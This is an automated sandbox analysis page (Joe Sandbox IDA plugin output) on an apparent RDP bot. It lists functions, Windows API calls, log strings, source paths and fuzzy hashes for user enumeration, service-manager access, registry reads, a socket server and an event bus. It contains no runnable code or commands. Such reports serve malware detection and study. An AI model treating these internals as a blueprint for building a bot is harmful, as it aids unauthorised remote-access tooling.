Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: ErrorLast$CountCreateCriticalInitializeSectionSpinThreadfflushfwrite
String ID: $ $Done$P$P$[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu)$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu)$[I] (%s) -> %s$ebus_init$~$~
API String ID: 1412730629-3633878399
Opcode ID: f00f92d452ba0ff8bb84cbfee4095df9768404c10da2e6ff7e6b6f0979107802
Instruction ID: a6803ce8feda95486f9c63f9d31e1f9769a19dfbf08915d447eae02df24aa0eb
Opcode Fuzzy Hash: f00f92d452ba0ff8bb84cbfee4095df9768404c10da2e6ff7e6b6f0979107802
Instruction Fuzzy Hash: 8E51E661A0C603D2FA7057ADACC43792651AB073E4F6407B7DF2E462F1DE6DAB85C212

Function 00007FF8B918F401 Relevance: 28.1, APIs: 4, Strings: 12, Instructions: 137threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8B918F41C
CreateThread.KERNEL32 ref: 00007FF8B918F45C
GetLastError.KERNEL32 ref: 00007FF8B918F4A4
GetLastError.KERNEL32 ref: 00007FF8B918F57C

Part of subcall function 00007FF8B9181292: fwrite.MSVCRT ref: 00007FF8B918133E
Part of subcall function 00007FF8B9181292: fflush.MSVCRT ref: 00007FF8B918134A

Strings

P, xrefs: 00007FF8B918F5C7
[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu), xrefs: 00007FF8B918F58E
ebus_init, xrefs: 00007FF8B918F489, 00007FF8B918F4AF, 00007FF8B918F587, 00007FF8B918F67C
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu), xrefs: 00007FF8B918F4B6
~, xrefs: 00007FF8B918F5C2
~, xrefs: 00007FF8B918F522
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8B918F490
P, xrefs: 00007FF8B918F52B
, xrefs: 00007FF8B918F59A
, xrefs: 00007FF8B918F4C2
[I] (%s) -> %s, xrefs: 00007FF8B918F683
Done, xrefs: 00007FF8B918F675

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: ErrorLast$CountCreateCriticalInitializeSectionSpinThreadfflushfwrite
String ID: $ $Done$P$P$[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu)$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu)$[I] (%s) -> %s$ebus_init$~$~
API String ID: 1412730629-3633878399
Opcode ID: 6b8a36cc971b699367ac3bf5157fbd41f4ace45a84db308636fec646c69488e6
Instruction ID: 3df02d1f11550c651cfb7ddace372933f4cea60f761bd2cd95179f2619654079
Opcode Fuzzy Hash: 6b8a36cc971b699367ac3bf5157fbd41f4ace45a84db308636fec646c69488e6
Instruction Fuzzy Hash: 97512A60A0C7C782F7215F1CA4C43782251AF153F4F760336DB6E463E2DE6DA986B282

Function 00007FF708876242 Relevance: 27.2, APIs: 7, Strings: 11, Instructions: 241memorystringCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7088884F0,00000000,00000000), ref: 00007FF70887628D
HeapFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7088884F0,00000000,00000000), ref: 00007FF70887629E

Part of subcall function 00007FF708872515: fopen.MSVCRT ref: 00007FF70887255A
Part of subcall function 00007FF708872515: fseek.MSVCRT ref: 00007FF708872579
Part of subcall function 00007FF708872515: _errno.MSVCRT ref: 00007FF70887258D
Part of subcall function 00007FF708872515: _errno.MSVCRT ref: 00007FF7088725A8

GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7088884F0,00000000,00000000), ref: 00007FF7088763CA
HeapAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7088884F0,00000000,00000000), ref: 00007FF7088763DB
strncpy.MSVCRT ref: 00007FF70887651C
strncpy.MSVCRT ref: 00007FF708876533
strncpy.MSVCRT ref: 00007FF708876592

Part of subcall function 00007FF7088799E2: fwrite.MSVCRT ref: 00007FF708879A8E
Part of subcall function 00007FF7088799E2: fflush.MSVCRT ref: 00007FF708879A9A

Strings

service, xrefs: 00007FF70887624D
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF708876312
mem_alloc, xrefs: 00007FF708876423
ini_load, xrefs: 00007FF7088762CF, 00007FF70887630B, 00007FF7088765F1
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7088762D6
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF7088762FD
NULL, xrefs: 00007FF7088765E2
(path != NULL), xrefs: 00007FF708876304
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF70887642A
5, xrefs: 00007FF7088762F5
[I] (%s) -> Done(path=%s), xrefs: 00007FF7088765F8

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: Heap$strncpy$Process_errno$AllocFreefflushfopenfseekfwrite
String ID: (path != NULL)$5$H:/Projects/rdp/bot/codebase/ini.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Done(path=%s)$ini_load$mem_alloc$service
API String ID: 1423203057-595982613
Opcode ID: bad0c103a127c9cdb1a0c44690f22b73e500e9a6574fe954518fc977e8e16574
Instruction ID: 3d48c9d43ecd5327b25449b6fd0dfc4ea74cb2f6a26d8eadc8a0f2cc1ec928a0
Opcode Fuzzy Hash: bad0c103a127c9cdb1a0c44690f22b73e500e9a6574fe954518fc977e8e16574
Instruction Fuzzy Hash: BEA1D762A2DA8281EA60EB01DC40BB9E771BF61784FC84035DD4D477D5EF2CE5A5C328

Function 00007FF708875602 Relevance: 26.5, APIs: 3, Strings: 12, Instructions: 246registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32 ref: 00007FF70887565C
RegQueryValueExA.KERNEL32 ref: 00007FF7088757A4

Part of subcall function 00007FF7088799E2: fwrite.MSVCRT ref: 00007FF708879A8E
Part of subcall function 00007FF7088799E2: fflush.MSVCRT ref: 00007FF708879A9A

Strings

(key != NULL), xrefs: 00007FF7088756FC
(value != NULL), xrefs: 00007FF70887572F
NULL, xrefs: 00007FF7088757FE, 00007FF708875AAC, 00007FF708875AB8
(root != NULL), xrefs: 00007FF7088756C9
[D] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF708875A9B
[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu), xrefs: 00007FF7088757D2
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7088756D7, 00007FF70887570A, 00007FF70887573D, 00007FF708875770
(value_sz != NULL), xrefs: 00007FF708875762
H:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FF7088756C2, 00007FF7088756F5, 00007FF708875728, 00007FF70887575B
[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FF70887567E
registry_get_value, xrefs: 00007FF708875677, 00007FF7088756D0, 00007FF708875703, 00007FF708875736, 00007FF708875769, 00007FF7088757CB, 00007FF708875916, 00007FF708875A94
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF70887591D

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: OpenQueryValuefflushfwrite
String ID: (key != NULL)$(root != NULL)$(value != NULL)$(value_sz != NULL)$H:/Projects/rdp/bot/codebase/registry.c$NULL$[D] (%s) -> Done(root=0x%p,key=%s,param=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu)$[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu)$registry_get_value
API String ID: 1980715187-2022313065
Opcode ID: 6d7b1d7a82180f13f5c9ceae75fa61d5e9adb965a826242bd4464cf54556d294
Instruction ID: 85fda73edeea37c8420aacd221f5101940fe1f83d1b9829393dc74c1988e7c30
Opcode Fuzzy Hash: 6d7b1d7a82180f13f5c9ceae75fa61d5e9adb965a826242bd4464cf54556d294
Instruction Fuzzy Hash: 86A11B21D2C70B82F730F744AC40BBAE260AF04758ED40132D95E066E5EF6DE9E5972A

Function 00007FF8BFAB63CB Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 134memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF8BFAB64B6
HeapAlloc.KERNEL32 ref: 00007FF8BFAB64CA
CreateThread.KERNEL32 ref: 00007FF8BFAB650C
EnterCriticalSection.KERNEL32 ref: 00007FF8BFAB6526
LeaveCriticalSection.KERNEL32 ref: 00007FF8BFAB654D

Strings

mem_alloc, xrefs: 00007FF8BFAB6575
[I] (%s) -> Server ready(ssock=0x%llx), xrefs: 00007FF8BFAB63FD
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8BFAB657C
[E] (%s) -> CreateThread(routine_rx) failed(client=0x%llx,gle=%lu), xrefs: 00007FF8BFAB65B4
[I] (%s) -> Client accepted(client=0x%llx), xrefs: 00007FF8BFAB655E
routine_accept, xrefs: 00007FF8BFAB63F6, 00007FF8BFAB6557, 00007FF8BFAB65AD

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: CriticalHeapSection$AllocCreateEnterLeaveProcessThread
String ID: [E] (%s) -> CreateThread(routine_rx) failed(client=0x%llx,gle=%lu)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Client accepted(client=0x%llx)$[I] (%s) -> Server ready(ssock=0x%llx)$mem_alloc$routine_accept
API String ID: 3282357527-375624272
Opcode ID: 8b38115b2f7d45cf42f4f7eadd5d8fe5da040056d6aa5160cde66468e4858be9
Instruction ID: 3873bb9751f0ff6d647de98f002c4fd665000a948b187fc87c44e1813b065fea
Opcode Fuzzy Hash: 8b38115b2f7d45cf42f4f7eadd5d8fe5da040056d6aa5160cde66468e4858be9
Instruction Fuzzy Hash: DF513D20A08E0245FA1C9B9DA8623B92395AF41BECF142731DB2E07BE7DE3DA4558341

Function 00007FF8B9153C65 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00007FF8B91538F8
wcsncpy.MSVCRT ref: 00007FF8B9153926
LookupAccountNameW.ADVAPI32 ref: 00007FF8B9153983
GetLastError.KERNEL32 ref: 00007FF8B9153995
wcslen.MSVCRT ref: 00007FF8B9153D0B
GetProcessHeap.KERNEL32 ref: 00007FF8B9153D1B
HeapAlloc.KERNEL32 ref: 00007FF8B9153D2C
GetProcessHeap.KERNEL32 ref: 00007FF8B9153D48
HeapAlloc.KERNEL32 ref: 00007FF8B9153D59
NetApiBufferFree.NETAPI32 ref: 00007FF8B9153D97
NetUserEnum.NETAPI32 ref: 00007FF8B9153E0D
GetProcessHeap.KERNEL32 ref: 00007FF8B9153E4B
HeapAlloc.KERNEL32 ref: 00007FF8B9153E5C
memcpy.MSVCRT ref: 00007FF8B9153E99
GetProcessHeap.KERNEL32 ref: 00007FF8B9153E9E
HeapFree.KERNEL32 ref: 00007FF8B9153EAF

Strings

[E] (%s) -> LookupAccountNameW failed(gle=%lu), xrefs: 00007FF8B91539A7
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8B9153D76
mem_alloc, xrefs: 00007FF8B9153D6F
D, xrefs: 00007FF8B9153915
users_sync, xrefs: 00007FF8B91539A0

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Heap$AllocProcess$Free$AccountBufferEnumErrorLastLocalLookupNameUsermemcpywcslenwcsncpy
String ID: D$[E] (%s) -> LookupAccountNameW failed(gle=%lu)$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$users_sync
API String ID: 2122475568-588975189
Opcode ID: ea011fd3911eba31b5ed846103687ee14d0c618340a10d4a4ea74dd2289fbe6d
Instruction ID: 3a0847368ca690a1cbb1cebd95ad61e1a1bf52fa469016e148e31c5da22fb28e
Opcode Fuzzy Hash: ea011fd3911eba31b5ed846103687ee14d0c618340a10d4a4ea74dd2289fbe6d
Instruction Fuzzy Hash: 91513AB6A08B82C6EB51CF29E45436977A1FB89B88F414136DB4D93398DF3CE849D700

Function 00007FF8B9153C6C Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00007FF8B91538F8
wcsncpy.MSVCRT ref: 00007FF8B9153926
LookupAccountNameW.ADVAPI32 ref: 00007FF8B9153983
GetLastError.KERNEL32 ref: 00007FF8B9153995
wcslen.MSVCRT ref: 00007FF8B9153D0B
GetProcessHeap.KERNEL32 ref: 00007FF8B9153D1B
HeapAlloc.KERNEL32 ref: 00007FF8B9153D2C
GetProcessHeap.KERNEL32 ref: 00007FF8B9153D48
HeapAlloc.KERNEL32 ref: 00007FF8B9153D59
NetApiBufferFree.NETAPI32 ref: 00007FF8B9153D97
NetUserEnum.NETAPI32 ref: 00007FF8B9153E0D
GetProcessHeap.KERNEL32 ref: 00007FF8B9153E4B
HeapAlloc.KERNEL32 ref: 00007FF8B9153E5C
memcpy.MSVCRT ref: 00007FF8B9153E99
GetProcessHeap.KERNEL32 ref: 00007FF8B9153E9E
HeapFree.KERNEL32 ref: 00007FF8B9153EAF

Strings

[E] (%s) -> LookupAccountNameW failed(gle=%lu), xrefs: 00007FF8B91539A7
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8B9153D76
mem_alloc, xrefs: 00007FF8B9153D6F
D, xrefs: 00007FF8B9153915
users_sync, xrefs: 00007FF8B91539A0

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Heap$AllocProcess$Free$AccountBufferEnumErrorLastLocalLookupNameUsermemcpywcslenwcsncpy
String ID: D$[E] (%s) -> LookupAccountNameW failed(gle=%lu)$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$users_sync
API String ID: 2122475568-588975189
Opcode ID: 094797508034af9aeb41acd87ce8deab58e064fb6417c2c767a88e0e44c012d1
Instruction ID: 79bdf4cb8667eeb3b6299c793f2a5ee148412940fac0a96798b0615e700eaa36
Opcode Fuzzy Hash: 094797508034af9aeb41acd87ce8deab58e064fb6417c2c767a88e0e44c012d1
Instruction Fuzzy Hash: EF513AB6A08B82C6EB50CF29E45436977A1FB89B88F414136DB4D93398DF3CE849D700

Function 00007FF8B9153C73 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00007FF8B91538F8
wcsncpy.MSVCRT ref: 00007FF8B9153926
LookupAccountNameW.ADVAPI32 ref: 00007FF8B9153983
GetLastError.KERNEL32 ref: 00007FF8B9153995
wcslen.MSVCRT ref: 00007FF8B9153D0B
GetProcessHeap.KERNEL32 ref: 00007FF8B9153D1B
HeapAlloc.KERNEL32 ref: 00007FF8B9153D2C
GetProcessHeap.KERNEL32 ref: 00007FF8B9153D48
HeapAlloc.KERNEL32 ref: 00007FF8B9153D59
NetApiBufferFree.NETAPI32 ref: 00007FF8B9153D97
NetUserEnum.NETAPI32 ref: 00007FF8B9153E0D
GetProcessHeap.KERNEL32 ref: 00007FF8B9153E4B
HeapAlloc.KERNEL32 ref: 00007FF8B9153E5C
memcpy.MSVCRT ref: 00007FF8B9153E99
GetProcessHeap.KERNEL32 ref: 00007FF8B9153E9E
HeapFree.KERNEL32 ref: 00007FF8B9153EAF

Strings

[E] (%s) -> LookupAccountNameW failed(gle=%lu), xrefs: 00007FF8B91539A7
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8B9153D76
mem_alloc, xrefs: 00007FF8B9153D6F
D, xrefs: 00007FF8B9153915
users_sync, xrefs: 00007FF8B91539A0

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Heap$AllocProcess$Free$AccountBufferEnumErrorLastLocalLookupNameUsermemcpywcslenwcsncpy
String ID: D$[E] (%s) -> LookupAccountNameW failed(gle=%lu)$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$users_sync
API String ID: 2122475568-588975189
Opcode ID: 49a18e276fb8c6a2b4951d3360f840af0e0b91061dc9137376a5f74894fb3ec4
Instruction ID: 41532de57c3a43ad13ea21e72bebefd2e5ccda475562b428649cad0a4ac4abe3
Opcode Fuzzy Hash: 49a18e276fb8c6a2b4951d3360f840af0e0b91061dc9137376a5f74894fb3ec4
Instruction Fuzzy Hash: 71513AB6A08B82C6EB50CF29E45436977A1FB89B88F414136DB4D93798DF3CE849D700

Function 00007FF8B9153C88 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00007FF8B91538F8
wcsncpy.MSVCRT ref: 00007FF8B9153926
LookupAccountNameW.ADVAPI32 ref: 00007FF8B9153983
GetLastError.KERNEL32 ref: 00007FF8B9153995
wcslen.MSVCRT ref: 00007FF8B9153D0B
GetProcessHeap.KERNEL32 ref: 00007FF8B9153D1B
HeapAlloc.KERNEL32 ref: 00007FF8B9153D2C
GetProcessHeap.KERNEL32 ref: 00007FF8B9153D48
HeapAlloc.KERNEL32 ref: 00007FF8B9153D59
NetApiBufferFree.NETAPI32 ref: 00007FF8B9153D97
NetUserEnum.NETAPI32 ref: 00007FF8B9153E0D
GetProcessHeap.KERNEL32 ref: 00007FF8B9153E4B
HeapAlloc.KERNEL32 ref: 00007FF8B9153E5C
memcpy.MSVCRT ref: 00007FF8B9153E99
GetProcessHeap.KERNEL32 ref: 00007FF8B9153E9E
HeapFree.KERNEL32 ref: 00007FF8B9153EAF

Strings

[E] (%s) -> LookupAccountNameW failed(gle=%lu), xrefs: 00007FF8B91539A7
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8B9153D76
mem_alloc, xrefs: 00007FF8B9153D6F
D, xrefs: 00007FF8B9153915
users_sync, xrefs: 00007FF8B91539A0

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Heap$AllocProcess$Free$AccountBufferEnumErrorLastLocalLookupNameUsermemcpywcslenwcsncpy
String ID: D$[E] (%s) -> LookupAccountNameW failed(gle=%lu)$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$users_sync
API String ID: 2122475568-588975189
Opcode ID: 5d1318e734e99b6aa77c2af95f36f6a0782a97f835af939cec4f9924c6791811
Instruction ID: 6653e074592b01f497bee35a026935ab8b2fe29c32cb863a5773a88799eea484
Opcode Fuzzy Hash: 5d1318e734e99b6aa77c2af95f36f6a0782a97f835af939cec4f9924c6791811
Instruction Fuzzy Hash: 80513BB6A08B82C6EB50CF19E45436977A1FB89B88F414136DB4D93358DF3CE849D700

Function 00007FF8B91849BF Relevance: 24.6, APIs: 4, Strings: 10, Instructions: 94COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8B91849D0
OpenSCManagerA.ADVAPI32 ref: 00007FF8B91849FA
GetLastError.KERNEL32 ref: 00007FF8B9184A42
GetLastError.KERNEL32 ref: 00007FF8B9184B1A

Part of subcall function 00007FF8B9181292: fwrite.MSVCRT ref: 00007FF8B918133E
Part of subcall function 00007FF8B9181292: fflush.MSVCRT ref: 00007FF8B918134A

Strings

, xrefs: 00007FF8B9184A60
[E] (%s) -> OpenSCManagerA(SERVICES_ACTIVE_DATABASE) failed(gle=%lu), xrefs: 00007FF8B9184B2A
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_scm) failed(gle=%lu), xrefs: 00007FF8B9184A54
ServicesActive, xrefs: 00007FF8B91849EE
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8B9184A2E
scm_init, xrefs: 00007FF8B9184A27, 00007FF8B9184A4D, 00007FF8B9184B23, 00007FF8B9184B51
~, xrefs: 00007FF8B9184AC0
[I] (%s) -> %s, xrefs: 00007FF8B9184B58
Done, xrefs: 00007FF8B9184B4A
P, xrefs: 00007FF8B9184AC9

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: ErrorLast$CountCriticalInitializeManagerOpenSectionSpinfflushfwrite
String ID: $Done$P$ServicesActive$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_scm) failed(gle=%lu)$[E] (%s) -> OpenSCManagerA(SERVICES_ACTIVE_DATABASE) failed(gle=%lu)$[I] (%s) -> %s$scm_init$~
API String ID: 546114577-3142219161
Opcode ID: 3cdc24c023b89066df0a726aa4c710322b7b89a6d544cc8f507da3a1f5a289d7
Instruction ID: d1e2669f39e1dfac3790c993e58b57cdef4c05211904b549cc9ef3edb54e015d
Opcode Fuzzy Hash: 3cdc24c023b89066df0a726aa4c710322b7b89a6d544cc8f507da3a1f5a289d7
Instruction Fuzzy Hash: 1541EA10B0CAC3A2FB208F5CA8C03B812559F163D8F525032C75F6A2E2AE5DBD86B715

Function 00007FF8BFAB61A0 Relevance: 24.1, APIs: 10, Strings: 6, Instructions: 104memorysleepCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF8BFAB626D
HeapFree.KERNEL32 ref: 00007FF8BFAB627E
EnterCriticalSection.KERNEL32 ref: 00007FF8BFAB62A2
LeaveCriticalSection.KERNEL32 ref: 00007FF8BFAB62C5
EnterCriticalSection.KERNEL32 ref: 00007FF8BFAB6332
Sleep.KERNEL32 ref: 00007FF8BFAB6351
EnterCriticalSection.KERNEL32 ref: 00007FF8BFAB6363
GetProcessHeap.KERNEL32 ref: 00007FF8BFAB6398
HeapFree.KERNEL32 ref: 00007FF8BFAB63A9
LeaveCriticalSection.KERNEL32 ref: 00007FF8BFAB63B8

Strings

KCIT, xrefs: 00007FF8BFAB61BD
[D] (%s) -> Dispatch an event(size=%u,timestamp=%lld,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s)), xrefs: 00007FF8BFAB631F
routine_tx, xrefs: 00007FF8BFAB6318
-VRSTVE-, xrefs: 00007FF8BFAB61C5
--TSCB--, xrefs: 00007FF8BFAB61D4
, xrefs: 00007FF8BFAB61B5

Memory Dump Source

